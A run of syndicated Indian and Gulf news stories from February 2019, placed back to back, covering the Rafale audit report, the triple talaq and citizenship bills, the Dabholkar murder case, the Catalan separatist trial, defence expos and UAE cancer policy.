The Muslim Women (Protection of Rights on Marriage) bill which makes the practice of instant triple talaq (talaq-e-Biddat) a penal offence, is being opposed by opposition parties which claim that jail term for the husband for divorcing his wife is legally untenable.

The government has promulgated the ordinance on triple talaq twice. Under the Muslim Women (Protection of Rights on Marriage) Ordinance, 2019, divorcing through instant triple talaq will be illegal, void and would attract a jail term of three years for the husband



A Bill to convert the earlier ordinance, issued in September, 2018, was cleared by the Lok Sabha in December and was pending in the Rajya Sabha



Since the Bill could not get parliamentary approval, a fresh ordinance was issued.

Seeking to allay fears that the proposed law could be misused, the government has included certain safeguards in it such as adding a provision of bail for the accused before trial.

These amendments were cleared by the Cabinet on August 29, 2018. While the ordinance makes it a "non-bailable" offence, an accused can approach a magistrate even before trial to seek bail.

In a non-bailable offence, bail cannot be granted by police at the police station itself.

A provision has been added to allow the magistrate to grant bail "after hearing the wife", the government had said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Actor Chris Evans is in negotiations to star in Antoine Fuqua's reincarnation drama "Infinite".

The project, which hails from Paramount Pictures, will be produced by Lorenzo di Bonaventura, Mark Vahradian and John Zaozirny, according to The Hollywood Reporter.

Rafi Crohn will executive produce.

Based on D Eric Maikranz's best selling novel, "The Reincarnationist Papers", the film centres on a group of near-immortal men and women who are reincarnated over the centuries and are known as "the Infinite".

To defeat an evil mastermind who wants to destroy the planet, the group must rely on a man who suffers from schizophrenia and will have to learn that all his vivid dreams are actually memories from past lives, in order to defeat the villain.

The book has been adapted by Ian Shorr and John Lee Hancock.

The actor also shared the on Twitter, where he expressed a fake outrage over a magazine's use of his old unflattering moustachioed picture.

"This is clearly an act of aggression. There are literally hundreds of photos to choose from. What did I ever do to you, Canada?" Evans wrote in response to the

The 37-year-old actor had famously grown a moustache for his debut Broadway play, "Lobby Hero".

Evans is currently gearing up for "Avengers: Endgame", which is expected to be his last outing as Marvel superhero Captain America.

The actor will also feature in Rian Johnson's "Knives Out", co-starring Jamie Lee Curtis, Daniel Craig, and Michael Shannon.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)In a blistering attack, the Congress Wednesday dubbed the CAG report on the Rafale deal as a "Chowkidar Auditor General" report and said the claim that the Modi government's contract to procure 36 fighter jets got 2.86 per cent cheaper price than the UPA-era offer was "fake".

The opposition party's rebuttal, in which it also termed the report an "eyewash", came hours after the much-awaited Comptroller and Auditor General (CAG) report on the controversial transaction was tabled in Parliament.

The Rafale deal signed by the Modi government to procure 36 fighter jets from France's Dassault Aviation got 2.86 per cent cheaper price than what was negotiated during the UPA regime in 2007, the CAG report said.

The "Chowkidar Auditor General" report is a mere "eyewash" as it even fails to mention the price of the Rafale aircraft, Congress' chief spokesperson Randeep Surjewala said in a statement.

Prime Minister Narendra Modi, then Finance Minister Arun Jaitley, and Defence Minister Nirmala Sitharaman have in Parliament reiterated the NDA purchase of the aircraft was 9 per cent to 20 per cent cheaper as compared to the UPA-era offer, Surjewala said.

Even the "eyewash" CAG report has demolished the argument of the BJP leaders by stating that the aircraft were cheaper by 2.86 per cent, he said.

"The manufactured figure of 2.86 per cent by the CAG is horribly fake and false," Surjewala said.

He argued that the CAG report records, but does not include payments or charges for a number of things.

The CAG report clearly records that performance guarantee and warranty, as offered by the Dassault Aviation in the 2007 contract, was equivalent to 10 per cent of the total value of the contract, he said.

The dissent note dated June 1, 2016, by three members of the Indian Negotiation Team quoted by 'The Hindu' puts the value of bank guarantee at 574 million euros, Surjewala said.

"The CAG report clearly records that this was a saving for Dassault Aviation. However, this value is not included to determine the total cost of the aircraft," he claimed.

Surjewala said the design and development cost or the cost of the India specific enhancements for 126 aircraft with transfer of technology was 1,400 million euros i.e. 11.11 million euro per aircraft, while the cost of India specific enhancements for 36 Rafale in flyaway condition without technology transfer was 1,300 million euros or 36.11 million euros per aircraft.

The CAG does not factor in the "300 per cent" increase in the cost, despite there being no transfer of technology, the Congress spokesperson said.

He claimed that the CAG report admits to the "failure in delivery schedule" of the 36 Rafale aircraft.

"The CAG categorically notes the apprehension expressed by the Indian Negotiation Team about non-delivery of Rafale aircraft as per the schedule. The CAG notes that Dassault Aviation has an order backlog of 83 aircraft and can only manufacture 11 aircraft in a year," he said.

The Modi government "utterly failed" to respond to this finding and the entire purpose of emergency purchase of Rafale aircraft by sacrificing the UPA deal, thus, stands demolished comprising India's national security, he said.

Surjewala also argued that the CAG "admits" the Modi government's "failure" on bank guarantee, sovereign guarantee, escrow account, and 'arbitration' clause, thereby "seriously jeopardising" India's national interest.

The CAG also "admits" to cost escalation under the Modi government purchase of 36 Rafale, he alleged.

The 126 aircraft MMRCA (Medium Multi-Role Combat Aircraft) deal in its Request for Proposal (RPF) of 2007 asked for "firm and fixed price" and the Dassault Aviation submitted the price of aircraft on that basis, Surjewala said.

In the 36 Rafale aircraft deal of the Modi government, the Dassault Aviation turned around and sought price escalation to get a beneficial term, he alleged.

"The justification of conversion from firm and fixed price to escalation cost by the Modi government only helps Dassault Aviation get millions of euros, thereby causing a loss to public exchequer," Surjewala said.

Without disclosing the pricing details in absolute terms, the Comptroller and Auditor General (CAG) report also said the NDA deal was 6.54 per cent expensive in terms of engineering support package and performance-based logistics for the Indian Air Force, while the training costs has got 2.68 per cent expensive than the 2007 offer.

With regard to India specific enhancements, the deal was 17.08 per cent cheaper, said the CAG report.

Earlier, the Congress, in a series of tweets, said, "The report has hidden behind the Aligned Price. The lack of numbers makes comparison of costs meaningless. This report remains a Chowkidar Auditor General Report."



The Congress said that the report was "redacted" which raised a big question mark on it.

"This is the first time in history that a CAG report to Parliament has redacted numbers. This in itself raises a big question mark on the report. The comparison of the prices is based on the Aligned Price, the calculation of which is opaque," it said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The cyber budget of the People's Liberation Army (PLA) of China is "phenomenal", but their offensive capability is still building up and "they have still some way to go", Lt General (retd) S L Narasimhan, member, National Security Advisory Board (NSAB), said here on Wednesday.

"The cyber capabilities -- though they have a huge cyber network -- the kind of report you get to see in open source is actually indicating that they still have some way to go. They may be very good at getting the cyber data etc., but the cyber offensive and defensive capability are still being questioned," he said.

"But my reading sometime back was, they were able to shut down the entire system to the outside world in about six-seven minutes. But the offensive capability was still getting built up," the NSAB member added.

During a discussion on "China's military modernisation: Recent Developments" at the Observer Research Foundation, he said, "The kind of funding, the number of people who are working on this (cyber) are phenomenal. I mean, half the defence budget of India is actually the cyber budget for China.... They will catch up at some point of time. But at this point in time, their capability is still being questioned."



The NSAB's principal objective is to undertake long-term analysis and provide perspectives on issues of national security.

"After the PLA's modernisation, it will come up as a force capable of carrying out more joint operations. A single commander in the western theatre command helps them in quick decision making," Narasimhan said.

"If you look at the 2015 defence white paper, their (PLA) roles have expanded from the shores to beyond. The PLA was given a mandate of looking into the defences of almost 1,000 km to the east into the sea, plus also to take care of China's national interests wherever they have. So that gave an indication that the expeditionary capability will come over a period of time," he added.

Stating that the PLA is still evolving as a force, Narasimhan said, "Their command and control structure has totally undergone a change. The organisational structures have undergone a total change. And for a large-sized army like this, to do everything in a churn, it is not a very easy thing to do."



"They have themselves come out in the open and said they have something known as two incapabilities etc. What it clearly implies is that the command channel as well as the officers cadre are at this point of time still evolving and they are not capable of comprehending the operational situation, they are not capable of employing the troops correctly. I am not saying this, they themselves have said it.

"The basic thing that I am able to hear from all this is that there are weaknesses that are existing within the command capabilities and also the joint kind of operation that they need to plan. Those are evolving at this point in time," he added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)UK-based BAE Systems will present a range of technologically enhanced defence solutions across land, sea, air, cyber, and training at the International Defence Exhibition and Conference (Idex), to be held next week, in Abu Dhabi, UAE.



The event will take place from February 17 to 21, at the Abu Dhabi National Exhibition Centre (Adnec).



The renowned BAE Systems solutions on display at the event will provide sophisticated and resilient protection to people, national security, critical infrastructure, and borders, it said.



In addition, BAE Systems will showcase its growing array of partnerships that underline the companys commitment to a sustained presence in the region.



Julian Donald, BAE Systems managing director for the Middle East, said: We are immensely proud to be exhibiting at Idex 2019, which provides an ideal platform for the company to build on its long-lasting partnerships and ties in the Middle East.



The technologies and solutions that we will showcase at the event allow governments to protect their citizens and achieve their national visions and strategic agendas. At the forefront of this is the creation of sustainable opportunities to transfer technology and know-how to the region, Donald added.



Partnership creation has been a central pillar of BAE Systems presence in the Middle East for many years. Key examples include the four Kingdom Partner Companies (KPC) that deliver technologies, training and capability into Saudi Arabia.



Other partnerships that will be on display at Idex 2019 include the internship programme with Mubadala, which is in its fifth year and has provided Emirati Engineering graduates with real-life practical experiences at BAE Systems facilities in the UK.



Donald continued: The Mubadala programme provides interns with advanced skills and technical knowledge through practical hands-on training, all of which are crucial to enable them to contribute to the UAEs industrial development.



A number of BAE Systems products will be on display at Idex 2019, including the M777 Ultra Lightweight Howitzer, the M109A6 Self-Propelled Howitzer, Digital Light Engine Head-Up Display (DLE HUD), and the APKWS Laser-Guided Rocket.



Visitors can also see the Advanced Threat Infrared Countermeasures (ATIRCM) System and Common Missile Warning System (CMWS), both of which can be retrofitted to fixed- and rotary-wing aircraft.



Naval protection remains a cornerstone of BAE Systems presence at Idex, with several solutions making an appearance on the stand, including the 40 Mk4 Naval Gun System.



BAE Systems commitment to regional sovereign aerial defence capabilities continues, with both the Eurofighter Typhoon and HAWK Advanced Jet Trainer, it stated.  TradeArabia News ServiceCentral trade unions on Wednesday said they will extend support to the proposed three-day strike by employees and officers of Bharat Sanchar Nigam Ltd on February 18-20.

BSNL employees have announced a three-day nationwide strike demanding allotment of 4G spectrum to the telecom PSU and wage revision for the workforce.

"United Platform of Central Trade Unions, which met on 12th February 2019 at New Delhi resolved to extend full support to the ongoing struggle of the BSNL employees and officers," the statement by ten central trade unions said.

The ten central trade unions that extended their support to the proposed strike included INTUC, AITUC, HMS, and CITU amongst others.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)With the contentious Citizenship (amendment) Bill set to lapse on June 3 as it was not tabled in the Rajya Sabha which adjourned sine die on Wednesday, celebrations broke out across Assam which had been vehemently protesting against it.

The Budget session was the last Parliament session of the present government as the Lok Sabha polls are due this summer.

Supporters of various organisations agitating against the bill, which was passed in the Lok Sabha on January 8, were seen coming out to the streets, bursting crackers, sharing sweets and dancing.

Slogans such as "Narendra Modi, Amit Shah, Sarbananda Sonowal, Himanta Biswa Sarma hai hai" rent the air here.

Organisations like the All Assam Students Union (AASU), Krishak Mukti Sangram Samity (KMSS), Assam Jatiyatabadi Yuba Chhatra Parishad (AJYCP) claimed that not passing of the bill in the Rajya Sabha is a "victory of democracy, of the people of Assam and the northeast region against communal forces".

AGP leader and former Assam chief minister Prafulla Mahanta, party chief Atul Bora, Meghalaya Chief Minister Conrad Sangma, AASU adviser Samujjal Bhattacharya, KMSS chief Akhil Gogoi and top political leaders of the Congress are in Delhi to campaign against the bill.

Congress leader Pradyut Bordoloi said the people were "saved today from the conspiracy of the BJP to destroy the people in the N-E region".

"This democratic momentum of the people has to continue against the communal forces," he added.

Assam PCC president Ripun Bora said the party fought against the controversial bill under the guidance of UPA chairperson Sonia Gandhi and AICC president Rahul Gandhi.

Assam Finance Minister and BJP-led North East Democratic Alliance convenor Himanta Biswa Sarma, who is an ardent supporter of the bill, termed it a "defeat of Assam" and claimed that without its enactment, 17 assembly seats will go to Bangladeshi Muslims.

"We did not have the number in the Rajya Sabha. We will pass the Bill when there is majority ... The BJP is committed to the bill and will remain so for protection of the people of Assam, their language and culture," he said.

"We (BJP) will fight on only this issue in the coming Lok Sabha elections. We are not secretive about it", he asserted.

Rajkumar Sarma, senior BJP leader in the state, said "BJP supports the constitutional amendment for the security of Assam. The BJP government will return with Narendra Modi as the prime minister. Then we will present the bill in the Rajya Sabha."



The controversial Citizenship (Amendment) Bill was listed to be tabled in Rajya Sabha on February 13 amid protests in the northeast against the bill.

The Citizenship (Amendment) Bill, 2019 provides for according Indian citizenship to Hindus, Jains, Christians, Sikhs, Buddhists and Parsis from Bangladesh, Pakistan and Afghanistan after seven years of residence in India instead of 12 years, which is the norm currently, even if they do not possess any document.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The CBI has invoked terror charges in a supplementary chargesheet filed before a Pune court Wednesday in the murder case of rationalist Narendra Dabholkar against two alleged shooters Sachin Andure and Sharad Kalaskar, officials said.

In the chargesheet filed before the Special CBI Court, the agency has charged Andure and Kalaskar under Indian Penal Code sections for criminal conspiracy and murder and provisions of Arms Act and Section 16 of Unlawful Activities Prevention Act (UAPA), they said.

The Section 16 of the UAPA Act relates to the act of terror and calls for punishment of life imprisonment if the act led to the death of a person.

The agency has said the probe to look for motorcycle used for the killing and the weapon used is still going on.

Dabholkar was killed on August 20, 2013 when he was on a morning walk on the Onkareshwar Bridge in Pune, they said.

It is alleged that Andure was the first shooter who fired on Dabholkar while an armed Kalaskar also accompanied him. During questioning, Andure had revealed the role of Kalaskar, who was nabbed from Aurangabad, they said.

Andure and Kalaskar are both in prison, they said.

In June 2016, the agency had filed its first chargesheet against alleged Hindu Janjagruti Samiti member Virendra Singh Tawde under sections 120B (criminal conspiracy) and 302 (murder) of the IPC, among other charges.

Dabholkar, who was known for his anti-superstition movement, was on the target of a right wing extremist group which allegedly saw his views as against their religion, the CBI said.

Andure was arrested on a tip-off from the Maharashtra Anti-Terrorism Squad (ATS) in August last year, which had arrested three persons for allegedly hatching a conspiracy to carry out blasts in the state.

Tawde, arrested in 2016, was allegedly the mastermind of the killing, the CBI had said.

The Bombay High Court in May 2014 had handed over the Dabholkar murder case to the CBI which had registered its FIR on June 2, 2016 taking over investigation from the state police.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The CBI has filed a supplementary chargesheet before a Pune court in the murder case of rationalist Narendra Dabholkar against two alleged shooters Sachin Andure and Sharad Kalaskar, officials said Wednesday.

In the chargesheet filed before the Special CBI Court on Wednesday, the agency has charged Andure and Kalaskar under Indian Penal Code sections for criminal conspiracy and murder and provisions of Arms Act and Unlawful Activities Prevention Act, they said.

The agency has said the probe to look for motorcycle used for the killing and the weapon used is still going on.

The CBI has registered the case on June 2, 2014.

Dabholkar was killed on August 20, 2013 when he was on a morning walk on the Onkareshwar Bridge in Pune, they said.

It is alleged that Andure was the first shooter who fired on Dabholkar while an armed Kalaskar also accompanied him.

During questioning, Andure had revealed the role of Kalaskar, who was nabbed from Aurangabad, they said.

Andure and Kalaskar are both in prison, they said.

The agency had filed its first chargesheet against alleged Hindu Janjagruti Samiti member Virendra Singh Tawde.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The on Wednesday allowed Kolkata Police Commissioner Rajeev Kumar to return to Kolkata after questioning him for five consecutive days here in connection with chit fund scam cases, an official said.

A team of 12 senior officers examined Kumar for his alleged role in tampering of evidences in the Rs 2,000 crore Saradha chit fund scam, which the agency is probing.

Kumar was also questioned about the Rose Valley ponzi scam.

After examining him for over 30 hours since Saturday, the Central Bureau of Investigation (CBI) on Wednesday afternoon allowed the senior IPS officer to return to Kolkata, the official told PTI.

On Wednesday, he had arrived at the office around 9.30 am and he was let off around 12:30 pm, he said.

According to official sources, the Kolkata Police chief had written to the probe agency seeking a "break" as he is required to prepare a reply to the contempt petition filed by the CBI against him and two other senior officers in the

Kumar left for Guwahati from where he is scheduled to fly to Kolkata.

Two other senior Kolkata Police officers who had been with Kumar since Saturday also left with him, sources said.

The CBI had also questioned former MP Kunal Ghosh separately and along with Kumar on Sunday and on Monday.

The ex-MP, who was arrested in 2013 in the Saradha scam and has been out on bail since 2016, was allowed to return to Kolkata on Monday.

Kumar had led the special investigation team (SIT) formed by West Bengal Chief Minister to probe the Saradha scam before the case was handed over to the CBI by the

The CBI had moved the after its sleuths were thwarted by the Kolkata Police when they had gone to Kumar's official residence in Kolkata to question him on February 3.

Banerjee had rushed to the spot and staged a three-day 'Save the Constitution' sit-in against the CBI's move and accused Prime Minister and BJP president of plotting a "coup".

The central investigating agency had said its officials had wanted to question Kumar to plug the holes in the Saradha investigation case as he was supposed to be in possession of certain key documents as a member of the SIT.

The Supreme Court had directed the Kolkata Police Commissioner last week to appear before the CBI and "faithfully" cooperate in the investigation of cases arising out of the Saradha chit fund scam.

The court chose as the neutral meeting place "to avoid all unnecessary controversy" and also made it clear that Kumar would not be arrested.Catalan separatist leaders accused of rebellion for trying to make their region independent from Spain have launched their defence at the start of a long-awaited trial.

Sitting on benches in the ornate chamber of Madrid's Supreme Court, the defendants faced a row of judges and a Spanish flag in proceedings broadcast live on television.

Twelve defendants are in the dock over an independence referendum, held on October 1, 2017, in defiance of a court ban, and a short-lived declaration of independence.

Nine of them are charged with rebellion and three face lesser charges of disobedience and misuse of public funds.

The independence bid sparked Spain's deepest political crisis since the transition to democracy in the 1970s after the death of dictator Francisco Franco.

"This case targets political dissidence," said Andreu Van den Eynde, the lawyer for two defendants including Catalonia's former vice president Oriol Junqueras, who could face up to 25 years in jail.

Spain has been forced to defend its judiciary against criticism.

In a rare move, Spanish embassies in several European capitals and further afield briefed reporters on Monday and Tuesday, handing out a file entitled "12 falsehoods about Spain" to refute common separatist claims such as the lack of impartiality of all judges.

"These people aren't there (on trial) because of what they think but because of what they did," said Jorge Notivoli Marin, Spain's charge d'affaires in Brussels.

"It's very important for us to show that we're a country that has nothing to hide, that follows the law and procedure." Many Spaniards support the trial, shocked by the actions of Catalonia's regional executive in October 2017.

But separatists in Catalonia have dismissed the trial as a politically-motivated "farce".

On Tuesday evening in central Barcelona, some 6,000 people, many waving Catalan separatist flags, protested against the opening of the trial, municipal police said.

Similar protests were held in other Catalan cities including Girona and Tarragona.

Carles Puigdemont, Catalonia's former president who fled Spain days after the independence declaration on October 27, is not among the defendants.

Spain does not try suspects in absentia for major offences. Speaking from Berlin, Puigdemont said the trial was "a stress test for Spanish democracy".

His successor, Quim Torra, who travelled to Madrid for the start of the proceedings, said it was "a trial that never should take place in a state that wants to be considered democratic." In Puigdemont's absence, the trial's main protagonist is his former deputy Junqueras, who opted to remain in Spain.

The 11 other defendants include members of Catalonia's former executive, the two leaders of powerful pro-independence associations, ANC and Omnium Cultural, and the former president of the Catalan parliament.

They could face jail terms of seven to 17 years.

The nine defendants charged with rebellion have been in pre-trial detention for months, some of them for more than a year.

Controversy has swirled over the charge of rebellion.

Under Spanish law, rebellion is defined as "rising up in a violent and public manner". But opinion is divided over whether the independence bid was violent.

Prosecutors say the defendants "called on citizens to participate in the October 1 referendum knowing it was illegal and that explosions of violence could therefore take place".

But supporters of independence deny violence actually occurred.

They accuse the police of brutality during the referendum.

Carles Mundo, one of the defendants, told AFP in court it was "absurd."



"The violence needed to justify these offences didn't happen, as everyone was able to see, nor did misuse of public funds." Hundreds of witnesses have been called to testify, including former conservative prime minister Mariano Rajoy who was in office at the time of the Catalan referendum.

The trial is scheduled to last three months, with verdicts expected several months later.

The Catalonia question continues to fan political tension.

The opposition accuses Prime Minister Pedro Sanchez of "high treason" over his negotiations with Catalan separatists.

Sanchez, a Socialist who came to power in June with the support of Catalan nationalist parties, has tried to defuse the situation by resuming talks with the separatists, but those broke down on Friday.

Now the Catalan separatist parties have vowed to block the goverment's 2019 budget during a parliamentary vote on Wednesday, opening the door for Sanchez to possibly call an early general election.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Modi government secured a 2.86 per cent cheaper price for Rafale fighter jets than what was negotiated by the UPA regime, the CAG said on Wednesday, but flagged that removal of 'sovereign guarantees' only benefitted the French manufacturer, and not India.

The much-awaited audit report on the controversy-hit deal also pointed out that certain India-specific enhancements in the new deal were "not required" and the Ministry of Defence overruled the Indian Air Force's proposal to reduce the number of these enhancements.

Soon after it was tabled in Parliament, the report was lapped up by BJP to hit out at Congress with senior leaders and ministers from the ruling party asserting that the CAG has exposed "lies" of the opposition party chief, Rahul Gandhi, on the Rafale issue and it vindicates their position that Prime Minister Narendra Modi got the country a better deal in purchase of 36 fighter jets.

The Congress, however, rejected the CAG audit, saying it was an "eyewash" and "not even worth the paper it was written on" as it did not take into account the "dissent note" of deal negotiators. The party dubbed the CAG as 'Chowkidar Auditor General' and was joined by several other opposition parties in questioning the audit report.

At a press conference, Gandhi alleged that even the "manufactured figure" of 2.86 per cent decline in price shows that Prime Minister Modi, Finance Minister Arun Jaitley and Defence Minister Nirmala Sitharaman, had lied to Parliament by stating that the price of the "new deal" was 9-20 per cent cheaper than the UPA-era offer.

While CAG was silent on offset partners, a key point on which Congress has been attacking Modi alleging corruption in Anil Ambani's Reliance Group getting a key contract, the government auditor also redacted the absolute price details and only referred to percentage change from what were negotiated by the Congress-led UPA in 2007 for 126 jets to those in the final deal clinched by the BJP-led NDA in 2016 for 36 aircraft.

In its 157-page report, the Comptroller and Auditor General (CAG) observed there was no change in the price of 'flyaway aircraft package'.

Of total 11 counts on which the CAG compared the prices, there was no change in the price under total four heads, while prices actually rose on four other counts -- the training of pilots and technicians (2.68 per cent), engineering support package (6.54 per cent), performance based logistics (6.54 per cent) and tools, testers and ground equipment (0.15 per cent).

On three parameters, the price came down in the NDA deal -- India-specific enhancements (down by 17.08 per cent), weapons package (by 1.05 per cent) and services, products-operational support equipment and technical assistance, documentation, and programme managements (by 4.77 per cent).

The CAG said the IAF wanted to reduce six India-specific enhancements in the Rafale jet under the new deal in view of the "huge cost and reduced number of aircraft", but the Defence Ministry overruled it. It also pointed out that there were four India specific enhancements in the new deal that were "not required".

The audit report also said the delivery time of Rafale jets under the NDA deal was only a month less than what was negotiated by the UPA.

The CAG also flagged drawbacks of settling for a 'Letter of Comfort' rather than a sovereign guarantee by the French government and said Dassault Aviation, the French manufacturer of Rafale jets, benefitted from this.

The CAG said the new deal was 6.54 per cent expensive in terms of engineering support package and performance-based logistics for the IAF, while the training costs got 2.68 per cent expensive than the 2007 offer.

In the 2007 offer of 126 fighter jets, Dassault Aviation was to provide basic training to 26 pilots and 76 technicians at a certain cost. In 2015 deal for 36 Rafale fighter jets, the IAF increased the scope of training to 27 pilots, 146 technicians and two engineers.

For the overall price also, the CAG has said the new deal is 2.86 per cent cheaper.

Defence Minister Nirmala Sitharaman had earlier said the deal struck by the Modi government was 9 per cent cheaper. Congress, on the other hand, has been alleging that the price increased to Rs 1,600 crore per aircraft in the deal signed by the Modi government, as against Rs 520 crore during the UPA time.

Soon after the report was tabled in Parliament, Union Minister Arun Jaitley said the lies of the Congress and opposition parties stand exposed as the CAG report outlines that 2016 deal terms were lower in terms of price, faster in terms of delivery, while ensuring better maintenance and lower escalation.

Another senior BJP leader Ravi Shankar Prasad said Gandhi's "lies" have been exposed by the CAG report and demanded an apology from the Congress leader.

Gandhi, however, said the government's argument on price and faster delivery of Rafale fighter jets has been demolished and alleged that the only reason for the new deal is to give Rs 30,000 crore to industrialist Anil Ambani.

The government and Ambani have rejected the allegations.

BSP supremo Mayawati dismissed the report as "neither complete nor fully correct" and alleged that constitutional bodies were not been able to work with full honesty.

AAP leader and Delhi Chief Minister Arvind Kejriwal said Modi should speak the truth on the agreement between India and France.

The NCP also questioned the CAG report's "authenticity".

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The (CAG), in its report on the Rafale fighter jet deal with France, has highlighted the drawbacks of settling for a 'Letter of Comfort' rather than a sovereign guarantee by the French government.

The report, tabled in Parliament on Wednesday, noted that the 2007 UPA deal included a 15 per cent bank guarantee against advance payments.

Highlighting its concerns, the CAG observed that in case of a breach of agreement, India would now have to first settle the matter through arbitration directly with the French vendors.

If the arbitration award goes in favour of India and Dassault Aviation, the makers of the Rafale jet, fails to honour it, India will have to exhaust all available legal remedies, it said. Only after that will the French government make the payments on behalf of Dassault Aviation, it added.

India for the first time signed an Intergovernmental Agreement (IGA) with France to procure 36 Rafale fighter jets. It has earlier signed similar IGAs with the US, the UK and Russia.

"In case of IGA for 36 Rafale, the offer of M/s DA (Dassault Aviation) in 2007 had included 15 per cent Bank Guarantee against advance payments, 5 per cent each for Performance Guarantee and Warranty. A Bank Guarantee gets directly and automatically invoked in case of breach of contract by the seller," the CAG said.

In the 2015 offer with the present government, the French vendor did not furnish any financial and performance bank guarantees, the report stated.

Since about 60 per cent of advance payments were to be made to the French vendors, the Ministry of Law and Justice advised that a government/sovereign guarantee should be requested in view of the value of the proposed procurement, the report said.

However, the French government and neither agreed to furnish the bank guarantees nor a government/sovereign guarantee, it stated.

"Instead it provided a 'Letter of Comfort' signed by the French Prime Minister in lieu of the Bank Guarantee," the report said.

The issue on sovereign guarantee and 'Letter of Comfort' was submitted to the CCS in September 2016 for consideration.

The CCS gave its acceptance along with other associated guarantees/assurances provided in the IGA in lieu of bank guarantee subject to payments through an escrow account or "any other safeguards which the ministry was to work out in consultation with the French Government with the assurance by the French Government that they shall provide effective oversight on the utilization of payments released to the French Industrial suppliers", the CAG report noted.

The French government, the report said, did not agree to an escrow account as it felt "the guarantees already provided by it were far reaching and unprecedented".

"In case of any breach of agreement Indian party (Ministry) would have to first settle it through Arbitration directly with the French vendors. If the Arbitration award were in favour of Indian party and the French vendor fails to honour the award (make the payment's claim), Indian party should exhaust all available legal remedies. Only then the French Government would make these payments on behalf of the vendors," the report said.

The CAG report comes at a time the government has been facing attacks by the Congress over settling for a 'letter of comfort' instead of a 'sovereign guarantee'.president on Wednesday noted that the CAG report on the deal does not mention the dissent note by negotiators and said he doesn't think its worth the paper its written on.

Gandhi's dismissal of the report came hours after



the paper was tabled in Parliament.

The government's argument on price and faster delivery of fighter jets has been demolished, Gandhi said at a press conference.

The only reason for the new deal is to give Rs 30,000 crore to industrialist Anil Ambani, the chief alleged.

The government and Ambani have rejected the Congress' allegations on the figher jet deal with France



"The argument given by the prime minister for the new deal was price and faster delivery. This has been demolished," he said, citing a note by officials.

"You say there was no scam, then why are you afraid of ordering a JPC," he said, reiterating his demand for a joint parliamentary committee to look into the deal.

The attack came came a day after Gandhi accused the prime minister of "treason" and violating the Official Secrets Act by acting as Anil Ambani's "middleman" in the Rafale jet contract, citing an email to claim the businessman was aware of the deal days before India and France finalised it.

The BJP, however, rejected the charge, saying the email purportedly by an Airbus executive referred to a helicopter deal and not Rafale.

Reliance Defence, in a statement, also refuted Gandhi's allegation saying the "proposed MoU" mentioned in the email referred to its cooperation with Airbus Helicopter.The Shiv Sena Wednesday questioned the veracity of the Comptroller and Auditor General's (CAG) report on the Rafale jet deal, saying it could have been manipulated.

The Sena is the BJP's alliance partner in Maharashtra as well as in the Centre, though it frequently attacks the saffron party.

Speaking to the media here, Sena spokesperson Manisha Kayande asked why the Union government did not accept the demand of a Joint Parliamentary Committee (JPC) to probe into the fighter jet deal.

Opposition parties led by the Congress in the past had called for a JPC probe.

The CAG report submitted in the Parliament earlier in the day said the deal negotiated by the NDA government to procure 36 Rafale fighter jets was 2.86 per cent cheaper than the UPA's 2007 negotiation.

"There is a possibility of manipulation in the CAG report as has been in the case of other institutions.

"The CBI and ED have been misused in the past.The BJP is doing what the Congress did," Kayande alleged.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The UAE is determined to bring down cancer mortality rates by nearly 18 per cent by 2021 in line with the countrys national healthcare agenda, said senior officials from the Ministry of Health and Prevention (MoHAP) at a key event in Dubai.



The event, which was supported by AstraZeneca, one of the worlds leading pharmaceutical companies, shed light on cancer incidences in the UAE, accounting for 15 per cent of annual deaths.



Officials from the MoHAPs National Committee along with international industry leaders addressed key guidelines for cancer management in the UAE and also discussed the latest advancements in lung cancer treatment options for patients at the event organised in Jumeirah Emirates Towers Hotel.



The officials put spotlight on the new hope that immunotherapy brings to patients, the evolving era of Immuno-oncology and how Immunotherapy is fitting within the current treatment landscape for the management of lung cancer patients.



Dr Muna AlKuwari, the director of specialised healthcare department at the ministry said: "Cancer is the second leading cause of mortality amongst UAE nationals and the third amongst the expatriate community. New global cancer data suggests that in 2018, the lung cancer burden has risen as the most common cancer with 2.094 million new cases and 1.8 million deaths, becoming the leading cause of death globally."



"These are alarming statistics, ones that reflect our continued efforts to work towards achieving the UAEs vision which is focused on reducing cancer mortality rates by 2021. We are glad to be participating in leading discussions that help place prevention programs at the forefront of the treatment process," she added.



According to her, the Immuno-Oncology treatment can offer significant benefits to lung cancer patients, including those for whom other treatments are ineffective.



Some patients with advanced lung cancer have benefited greatly from immunotherapies, experiencing durable remissions and prolonged survival. According to the Pacific trial, there was a significant increase in survival by reducing the risk of death by 32 per cent, she added.



Leading experts at the event pointed out that lung cancer was one of the most common causes of cancer mortality globally, responsible for nearly 1 in 5 cancer-related deaths, or an estimated 1.6 million people.



Immunotherapy represents a major advancement for lung cancer patients. Recent advancements in immunotherapy demonstrate an overall survival benefit for patients with unresectable, stage III non-small cell lung cancer following chemoradiation therapy.



Prof Solange Peters, the elected president of Esmo for 2020-2021, and head of the Medical Oncology Service, Chair of Thoracic Oncology at the University Hospital of Lausanne, Switzerland, said: "More than 100 years after William B. Coley, MD, used bacterial toxins to goad the immune system into recognizing cancer cells as foreign to the body and mount an immune response to go after and kill them, the recognition of immunotherapy as a powerful anticancer therapy is finally being realized."



"Today, immunotherapy for the treatment of a variety of cancers is rapidly evolving, from therapies that nonspecifically stimulate the immune system to more targeted ones that activate individual components of the immune system, increasing efficacy of the treatment while decreasing toxicity," he stated.



"Immunotherapy is revolutionizing cancer care. Clearly, immunotherapy is already part of routine care for patients with advanced, but also stage III non-small cell lung cancer," said Prof Peters.



When lung cancer is detected early, it is often because of tests that were being done for other medical conditions. In the UAE, approximately 4,500 new cases of cancer are reported in a year, he added.



Peter Raouf, AstraZenecas Gulf Oncology Business Unit Director & MEA Oncology Strategy Lead, said: "Patients remain at the core of everything we do. That is why, at AstraZeneca, we are passionate creating partnerships with the public and private sector to focus on supporting patients unmet needs."



"We seek to provide new therapies such as immuno-oncology to advance the care of cancer patients in the UAE and the wider region. Having this latest immuno-oncology modality means we will be able to help more patients," he noted.



